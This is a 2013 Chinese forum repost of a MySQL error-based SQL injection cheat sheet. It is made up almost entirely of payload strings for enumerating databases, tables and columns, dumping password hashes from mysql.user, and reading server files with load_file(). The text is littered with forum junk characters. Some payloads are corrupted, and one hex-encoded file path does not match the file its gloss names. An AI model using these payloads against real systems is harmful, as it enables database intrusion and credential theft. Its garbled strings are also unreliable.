Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑


# g! [7 T$ [3 O1 _( vMysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
6 W. P5 u. Z  D9 H, N' @, h[Mysql暴错注入参考]
: Y1 c( j2 M9 O( A- ZAuthornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
; v1 r  y9 [4 @% q- `% T) [TeAm:http://www.FreeBuf.com/
7 I2 z3 D* M" f" S6 xMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
+ L1 f( \& g- }! \. @) @" o小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
2 N6 y/ v+ Q: ?+ Z& s" dMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
. S# ~; ]9 g- }join+(select+name_const(@@version,0))b)c)
! |: N) E4 F- Q9 q4 D: KMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
9 [" @' a) t* O1 V. t, S7 e1 t9 B* f" Pup by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
) `0 n4 a6 q% s) N0 B0 v查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) R# C' x& A, ?2 |# q0 ]Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
; u3 k# R" T  ^/ J6 s依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
# G' m5 W8 Z8 aLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
爆指定库数目:
  |+ O/ _9 a5 {% I. Xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
& `! M5 H  X7 k4 U; e) [- zable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
4 p; x/ \  U2 S8 W! `依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
' s  G( B9 C* N$ Ebles+group+by+x)a)+and+1=1
6 c- L( |  t' Z6 t4 u9 l0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
4 B* @( K3 l' Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+ o9 S5 X0 ^& z. m+ g. \  `* S! A+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
4 ~7 r. L0 K# P) q, }5 s! hloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
0 F+ a0 {# w) Q* e* k! o* m依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
2 M! v% j( C; I将n顺序替换
爆文件内容:
( w0 m( X( Q7 {; A' A( land+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
" S: J- q& ^; J% K# e7 Wfrom+information_schema.tables+group+by+a)b)
9 L" ?% ^! s1 X# X- Y0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
& y% E1 {: V/ E! J  XThx for reading.
; ^6 c5 u1 ], Z$ O
. t% y0 d& \1 N5 g$ b& K不要下载也可以，